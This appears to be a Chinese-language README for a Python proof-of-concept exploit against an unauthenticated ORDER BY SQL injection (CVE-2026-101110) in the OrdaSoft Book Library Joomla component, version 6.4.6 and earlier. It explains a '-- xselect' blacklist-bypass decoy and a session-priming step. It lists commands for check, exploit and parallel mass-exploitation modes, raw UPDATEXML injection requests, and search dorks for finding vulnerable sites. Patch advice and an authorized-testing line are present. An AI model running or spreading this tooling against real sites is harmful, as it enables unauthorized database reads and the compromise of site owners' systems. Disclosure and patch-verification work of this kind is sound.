针对 CVE-2026-101110 的 Python 3 PoC — OrdaSoft Book Library (Free) for Joomla ≤ 6.4.6。请升级至 6.4.7+。
| PoCbit | https://pocbit.org/pocs/cve-2026-101110 |
| Catalog | https://pocbit.org/pocs/ |
| Component | com_booklibrary |
| File / function | site/booklibrary.php → books() |
| Parameters | field、direction(排序) |
| Auth | 无(公开图书列表) |
| CWE | CWE-89 SQL 注入 |
| CVSS 4.0 | 9.3 严重(Joomla CNA) |
| Credit | Ala Arfaoui |
Book Library (Free) 是 OrdaSoft 提供的 Joomla 插件,用于展示图书库 / 分类列表。在 6.4.6 及更早版本中,books() 函数通过 protectInjectionWithoutQuote() 过滤 field 和 direction 参数。该函数仅实现了一个弱黑名单,用于查找 select 子字符串;一旦找到,就用 $db->quote() 包裹该值,而不是拒绝它。
这些值随后被拼接到 不带引号的 ORDER BY 表达式中——在此处使用引号并不能阻止 SQL 注入(CNA 描述)。
利用需要两个条件:
field / direction)值写入会话。 -- xselect 诱饵注释;它通过黑名单检查,而 SQL 注释不会影响其余 payload。结果:无需认证的 ORDER BY SQLi,在数据库读写和站点完整性方面构成严重风险。
Request 1 (prime): ...&field=title&direction=ASC → session sort defaults
Request 2 (inject): ...&field=<expr> -- xselect&direction=ASC
└─ concatenated into ORDER BY (unquoted)
弱过滤器(概念上):
select(子字符串)→ 将整个值用引号包裹(在 ORDER BY 上下文中无关紧要)。-- xselect,使黑名单在注释尾部看到 select,而 -- 之前的活动表达式仍为可执行 SQL(基于报错 / UPDATEXML / 堆叠 ORDER BY 技巧)。PoC 实现:
| 步骤 | 操作 |
|---|---|
| 指纹识别 | com_booklibrary 路径 + 可选的 manifest 版本 |
| 路由发现 | showCategory、search、showBooks、books、… + 抓取 catid / Itemid |
| check | 预热会话 → 确认 SQLi(flag / VERSION()) |
| exploit | 预热 → --subquery 提取(默认 SELECT VERSION()) |
| mass | --list + -j 并行目标;成功泄露时写入 exploited.txt |
代码中的 payload 后缀常量: -- xselect(BLACKLIST_DECOY)。
cd CVE-2026-101110
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 12 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| 参数 | 含义 |
|---|---|
--aggressive | Check 模式在预热后尝试版本泄露 |
--subquery | 用于 UPDATEXML / 双查询 payload 的内部表达式 |
--exploited-list | 制表符分隔的成功提取结果 |
--no-color | 禁用 ANSI(也可用 NO_COLOR) |
JSONL:pocbit、pocbit_catalog、pocbit_page、cve、component、session_primed。
预热(会话):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=title&direction=ASC HTTP/1.1
注入(PoC 追加诱饵):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=UPDATEXML(1,CONCAT(0x7e,(VERSION()),0x7e),1) -- xselect&direction=ASC HTTP/1.1
当 GET 失败时,会在同一路由上尝试 POST 变体。
Manifest(如果暴露):
/administrator/components/com_booklibrary/booklibrary.xml≤ 6.4.6 → 存在漏洞的代码行;≥ 6.4.7 → 已修补(check 输出中的 patched_version)。
body="option=com_booklibrary"
body="/components/com_booklibrary/" && body="Joomla"
body="com_booklibrary" && (body="booklibrary" || body="Book Library")
body="ordasoft" && body="booklibrary"
| CVE | 扩展 | 问题 | 修复版本 |
|---|---|---|---|
| CVE-2026-101110 | Book Library | ORDER BY SQLi + 黑名单绕过 | 6.4.7 |
| CVE-2026-101111 | Book Library | 反射型 XSS(title 参数) | 6.4.7 |
| CVE-2026-101108 | Vehicle Manager | ORDER BY SQLi | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | ORDER BY SQLi | 6.7.9 |
请修补你部署的所有 OrdaSoft 组件。
com_booklibrary 在 search/lend 任务中的 SQLi(CVE-2010-1522)——不同的代码路径仅限授权测试和补丁验证。
CVE-2026-101110 PoC: OrdaSoft Joomla Book Library (Free) <=6.4.6 unauth SQLi — field/direction ORDER BY, session prime + `-- xselect` blacklist bypass (com_booklibrary). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101110